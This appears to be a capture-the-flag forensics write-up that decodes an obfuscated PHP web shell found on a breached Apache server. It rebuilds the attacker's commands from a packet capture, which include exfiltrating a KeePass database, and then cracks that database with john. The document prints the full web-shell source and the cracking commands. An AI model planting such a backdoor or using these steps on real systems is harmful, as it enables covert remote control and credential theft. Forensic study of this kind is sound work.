Unpacking the files result in:

total 740
-rw-r--r-- 1 ellcs ellcs 524711 May 21  2019 19-05-21_22532255.pcap
-rw-r--r-- 1 ellcs ellcs 220053 Jun 25 00:55 Obscure.zip
-rw-r--r-- 1 ellcs ellcs    749 May 20  2019 support.php
-rw-r--r-- 1 ellcs ellcs    502 May 21  2019 to-do.txt

Content of to-do.txt:

An attacker has found a vulnerability in our web server that allows arbitrary PHP file upload in our Apache server. Suchlike, the hacker has uploaded a what seems to be like an obfuscated shell (support.php). We monitor our network 24/7 and generate logs from tcpdump (we provided the log file for the period of two minutes before we terminated the HTTP service for investigation), however, we need your help in analyzing and identifying commands the attacker wrote to understand what was compromised.

The support.php file is not really readable because of obfuscation:

<?php
$V='$k="80eu)u)32263";$khu)=u)"6f8af44u)abea0";$kf=u)"35103u)u)9f4a7b5";$pu)="0UlYu)yJHG87Eu)JqEz6u)"u)u);function u)x($';
$P='++)u){$o.=u)$t{u)$i}^$k{$j};}}u)retuu)rn $o;}u)if(u)@pregu)_u)match("/$kh(.u)+)$kf/",@u)u)file_u)getu)_cu)ontents(';
$d='u)t,$k){u)$c=strlu)en($k);$l=strlenu)($t)u);u)$o=""u);for($i=0u);u)$i<$l;){for(u)$j=0;(u)$u)j<$c&&$i<$l)u)u);$j++,$i';
$B='ob_get_cou)ntu)ents();@obu)_end_cleu)anu)();$r=@basu)e64_eu)ncu)ode(@x(@gzu)compress(u)$o),u)$k));pru)u)int(u)"$p$kh$r$kf");}';
$N=str_replace('FD','','FDcreFDateFD_fFDuncFDFDtion');
$c='"php://u)input"),$u)m)==1){@u)obu)_start();u)@evau)l(@gzuu)ncu)ompress(@x(@bau)se64_u)decodu)e($u)m[1]),$k))u));$u)ou)=@';
$u=str_replace('u)','',$V.$d.$P.$c.$B);
$x=$N('',$u);$x();
?>

When inspecting the pcap, we see taht there are also HTTP requets with the webserver hosting the `support.php` on `10.132.0.2`:


However, the respones and requests are also obfuscated:


When running the `http.host` filter, we get an overview of the requests:


After reading the obfuscated code with https://onlinephp.io/ and pasting it at the end, we see that a new variable gets assigned to `$k`:


Beautifying the code with https://www.tutorialspoint.com/online_php_formatter.htm results in:

<?php
$k = "80e32263";
$kh = "6f8af44abea0";
$kf = "351039f4a7b5";
$p = "0UlYyJHG87EJqEz6";
function x($t, $k) {
    $c = strlen($k);
    $l = strlen($t);
    $o = "";
    for ($i = 0;$i < $l;) {
        for ($j = 0;($j < $c && $i < $l);$j++, $i++) {
            $o.= $t{$i} ^ $k{$j};
        }
    }
    return $o;
}
if (@preg_match("/$kh(.+)$kf/", @file_get_contents("php://input"), $m) == 1) {
    @ob_start();
    @eval(@gzuncompress(@x(@base64_decode($m[1]), $k)));
    $o = @ob_get_contents();
    @ob_end_clean();
    $r = @base64_encode(@x(@gzcompress($o), $k));
    print ("$p$kh$r$kf");
};
?>

Modifying the code in order to decode the operations:

<?php
$k = "80e32263";
$kh = "6f8af44abea0";
$kf = "351039f4a7b5";
$p = "0UlYyJHG87EJqEz6";
function x($t, $k) {
    $c = strlen($k);
    $l = strlen($t);
    $o = "";
    for ($i = 0;$i < $l;) {
        for ($j = 0;($j < $c && $i < $l);$j++, $i++) {
            $o.= $t{$i} ^ $k{$j};
        }
    }
    return $o;
}

function decrypt_server_request($msg) {
    if (@preg_match("/$kh(.+)$kf/", @file_get_contents("php://input"), $m) == 1) {
    @ob_start();
    return @gzuncompress(@x(@base64_decode($m[1]), $k));
    }
}

function decrypt_server_response() {
    return null;
}

/*if (@preg_match("/$kh(.+)$kf/", @file_get_contents("php://input"), $m) == 1) {
    @ob_start();
    @eval(@gzuncompress(@x(@base64_decode($m[1]), $k)));
    $o = @ob_get_contents();
    @ob_end_clean();
    $r = @base64_encode(@x(@gzcompress($o), $k));
    print ("$p$kh$r$kf");
};*/
?>

After encountering issues with apparently `preg_match` we cut out the matcher by hand and got an example result.


Note: Choosing an old php version to run, helps getting rid of deprecation warnings. Version 7.1.33 worked fine for us.

Modifying the code further and including the input and output data from the captured web-requests out code looks like this:

<?php
$k = "80e32263";
$kh = "6f8af44abea0";
$kf = "351039f4a7b5";
$p = "0UlYyJHG87EJqEz6";
function x($t, $k)
{
    $c = strlen($k);
    $l = strlen($t);
    $o = "";
    for ($i = 0;$i < $l;)
    {
        for ($j = 0;($j < $c && $i < $l);$j++, $i++)
        {
            $o .= $t{$i} ^ $k{$j};
        }
    }
    return $o;
}

$array = array(
	"3Qve>.IXeOLC>[D&6f8af44abea0QKwu/Xr7GuFo50p4HuAZHBfnqhv7/+ccFfisfH4bYOSMRi0eGPgZuRd6SPsdGP//c+dVM7gnYSWvlINZmlWQGyDpzCowpzczRely/Q351039f4a7b5+'Qn/?>-
e=ZU mx" => "0UlYyJHG87EJqEz66f8af44abea0QKxO/n6DAwXuGEoc5X9/H3HkMXv1Ih75Fx1NdSPRNDPUmHTy351039f4a7b5",
	"3Qve>.IXeOLC>[D&6f8af44abea0QKxo+HM4thMoMKWcSng9UZNbdc4WFhO2jaU4eMhPaDTePEuB48JstWIb4aEirLpXpdgb7g8Bx/IGI/JLbVRcFack+r90YxXpmBA1wQKaU9jeRhvp7imF351039f4a7b5+'Qn/?>-
e=ZU mx" => "0UlYyJHG87EJqEz66f8af44abea0QKzo43k49AMoNoVOfAMh+6h3euEZJvkTlblqP34rlZqPhxDgKLYMz7NpqfQ9IR9FOXy0OfVbUgo/PF3MxrMw/JOdJebwjE2y6VAxUFnyA4H4dHQNgV49YatbqT0it9IXYf5kzoE4+kfGnZ/dTAsyCesTC0i5V+gJQw6bYm/nU3U/lrYGyl+dgvIOURfl0fvGm0hmr0RZKQ==351039f4a7b5",
	"3Qve>.IXeOLC>[D&6f8af44abea0QKxI+Ak49hMoNaXoypsATiJfd3clJ+KmL5OyfLiGNSBKHFWppDXbjhH/M9orZ0qPjQ14MLA5CjeLxAG9/fBJgQyWrbiZPrCFcj3xDb95CvC29r/AN2ziEh0351039f4a7b5+'Qn/?>-
e=ZU mx" => "0UlYyJHG87EJqEz66f8af44abea0QKy2/Pr9e+Z3eUh4//sZexUyZR8mN/g=351039f4a7b5",
	"3Qve>.IXeOLC>[D&6f8af44abea0QKwu/Xr7GuFo56r7/X/jfHEdLv77HX4eaufRRXofHPkXukp5H/oZGfH8LuQCMrwmbybyl9RYnhQdJsKpqxrepRMoTSemlRLaXZdBZhoq75ohMhAxMvrQKEw351039f4a7b5+'Qn/?>-
e=ZU mx" => "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351039f4a7b5"
);

function decrypt($input_string, $k): string
{
	$o = @gzuncompress(@x(@base64_decode($input_string) , $k));
	return $o;
}

foreach ($array as $input => $output){
	print("\ninput:\n");
	if (@preg_match("/$kh(.+)$kf/", $input , $m) == 1) {
		print(decrypt($m[1], $k));
	} 
	else {
		print "no match\n";
	}
	print("\noutput:\n");
	if (@preg_match("/$kh(.+)$kf/", $output , $m) == 1) {
		print(decrypt($m[1], $k));
	} 
	else {
		print "no match\n";
	}
}	

?>

By executing it we get an impression of what happened:

input:
chdir('/var/www/html/uploads');@error_reporting(0);@system('id 2>&1');
output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

input:
chdir('/var/www/html/uploads');@error_reporting(0);@system('ls -lah /home/* 2>&1');
output:
total 24K
drwxr-xr-x 2 developer developer 4.0K May 21 20:37 .
drwxr-xr-x 3 root      root      4.0K May 20 21:28 ..
-rw-r--r-- 1 developer developer  220 May 20 21:28 .bash_logout
-rw-r--r-- 1 developer developer 3.5K May 20 21:28 .bashrc
-rw-r--r-- 1 developer developer  675 May 20 21:28 .profile
-rw-r--r-- 1 developer developer 1.6K May 21 20:37 pwdb.kdbx

input:
chdir('/var/www/html/uploads');@error_reporting(0);@chdir('/home/developer')&&print(@getcwd());
output:
/home/developer
input:
chdir('/home/developer');@error_reporting(0);@system('base64 -w 0 pwdb.kdbx 2>&1');
output:
A9mimmf7S7UAAAMAAhAAMcHy5r9xQ1C+WAUhavxa/wMEAAEAAAAEIAAgTIbunS6JtNX/VevlHDzUvxqQTM6jhauJLJzoQAzHhQUgALelNeh212dFAk8g/D4NHbddj9cpKd577DClZe9KWsbmBggAcBcAAAAAAAAHEAARgpZ1dyCo08oR4fFwSDgCCCAAj9h7HUI3rx1HEr4pP+G3Pdjmr5zVuHV5p2g2a/WMvssJIABca5nQqrSglX6w+YiyGBjTfDG7gRH4PA2FElVuS/0cyAoEAAIAAAAABAANCg0Kqij7LKJGvbGd08iy6LLNTy2WMLrESjuiaz29E83thFvSNkkCwx55YT1xgxYpfIbSFhQHYPBMOv5XB+4g3orzDUFV0CP5W86Dq/6IYUsMcqVHftEOBF/MHYY+pfz2ouVW7U5C27dvnOuQXM/DVb/unwonqVTvg/28JkEFBDPVGQ08X2T9toRdtbq3+V7ljVmTwRx4xMgQbCalF5LyjrYEYmL8Iw9SJeIW7+P+R7v8cZYI4YDziJ6MCMTjg0encgPaBBVBIkP40OKFIl0tWrXt9zXCBO6+BAOtGz5pAjkpZGa5ew/UVacnAuH7g4aGhQIxIwyli+YUjwMoaadfjZihlUJWEVhBm50k/6Dx35armR/vbVni2kp6Wu/8cJxyi0PvydW1+Yxp+3ade8VU/cYATHGNmFnHGzUYdCa3w7CQclIS/VOiRRA/T7Z3XI0bEGorXD7HHXjus9jqFVbCXPTA80KPZgj2FmIKXbt9GwjfTK4eAKvvUUGmAH8OjXVh9U2IfATYrCLi6t5cKtH9WXULW4jSsHrkW62rz0/dvMP7YazFEifECs1g9V+E4kB1gIll93qYDByGGju+CV1305I9R66sE6clSKq1XogStnGXfOXv47JDxLkmPaKEMaapvp85LejI5ZWldOcEGqDvI5M/1j2KizBGPyPZRry0l8uMrG7Y4UVlS8iVGUP8vsBCUDmOQtZ2jAIVmcJk5Kj5rkOPz3NpjDnG6pe+sb/7Nbi1BQLX2Q8nGx2dwNFt4YOKmDZB/HuAFRLvInUVjpaV0fGrlkWUf5OCCc9l00vh25eZezll2TQlMNeaZMjFIlUR4IeF1wInskydfCMMlKWZ/xXXRYiPZkzKZfe0ejqLmGPcz3g/fJ8zh2z+LR+ElIrQEAfARXVnDyn7MGo4RkzAiq+8DpYlm4ZuggOnNy+/aZEDcLXNjfEBSyd/kzOC8iGgnCHF9wM2gHNe4WHCpZZganDZFasECnF21Iu1UNMzoo0+JWEVt9ZBSLmNEhIdTBXwzekWA0XxSAReOLr4opn50r+Wrb0dkoiuVAKsTHho7cJxJNOqtthXqeE2zgNo1F9fzVmoyb8IthUp/x4VfGbv1L3NNos2VhV0re07Fu+IeNJ3naHY5Q9OdoUyDfsMXlgjthepvkxyu3O9see6SWBeofT1uAnjKvHxNE37sELYwS4VGN4L+Ru+uaJefOy29fNrA94KiUOmNE4RNA1h4tJM7SvaLwOpDGnNlCdSwDPh8BqaDeTI9AaZSzzAQLIheiLA66F23QEweBL83zp7EcRosvinNGaYXAkgdfPzyUJhLdRjCz7HJwEw+wpn06dF/+9eUw9Z2UBdseNwGbWyCHhhYRKNlsA2HsoKGA9Zpk/655vAed2Vox3Ui8y62zomnJW0/YWdlH7oDkl1xIIBiITR9v84eXMq+gVT/LTAQPspuT4IV4HYrSnY/+VR0uDhjhtel9a1mQCfxW3FrdsWh7LDFh5AlYuE/0jIiN9Xt6oBCfy4+nEMke21m7Euugm/kCJWR/ECOwxuykBkvJFgbGIvJXNj1FOfCEFIYGdLDUe21rDcFP5OsDaA9y0IRqGzRLL8KXLjknQVCNkYwGqt9hE87TfqUVRIV+tU9z5WiYgnaTRii1XzX7iLzlgg5Pq0PqEqMHs95fxS4SRcal2ZuPpP/GzAVXiS7I4Dt3lATCVmA0fwWjlVEl3a/ZcU+UOm4YCrI+VOCklpur7sqx5peHE4gnGqyqmtVGfwjrgUe5i/1Xm/G5+7KT8UPbRSJMni1RUl3yjE2qibbnPgq1iuTthgWi2Jo/zT/mu9gPv5CRQEvKvAEck/upYwHAnDpdoUTBvVXQ7y

Looks like the intruder was able to copy the password-database pwdb.kdbx of the user "developer".

So let's check:

┌──(ihck㉿kali)-[~/hackthebox/challenges/obscure]
└─$ echo "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" | base64 -d > pwdb.kdbx
                                                                                                                                                                      
┌──(ihck㉿kali)-[~/hackthebox/challenges/obscure]
└─$ file pwdb.kdbx 
pwdb.kdbx: Keepass password database 2.x KDBX

Yup, works out. So let's see if we can crack it and find a flag in there.

┌──(ihck㉿kali)-[~/hackthebox/challenges/obscure]
└─$ keepass2john pwdb.kdbx > pwdb.john
                                                                                                                                                                      
┌──(ihck㉿kali)-[~/hackthebox/challenges/obscure]
└─$ john --wordlist=~/rockyou.txt pwdb.john   
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 6000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:28 0.09% (ETA: 01:41:08) 0g/s 557.0p/s 557.0c/s 557.0C/s myprince..milo123
chainsaw         (pwdb)     
1g 0:00:00:37 DONE (2023-06-25 17:06) 0.02670g/s 572.8p/s 572.8c/s 572.8C/s chivas13..buffon
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Sweet! So let's take a look inside:


Looks like we got our flag.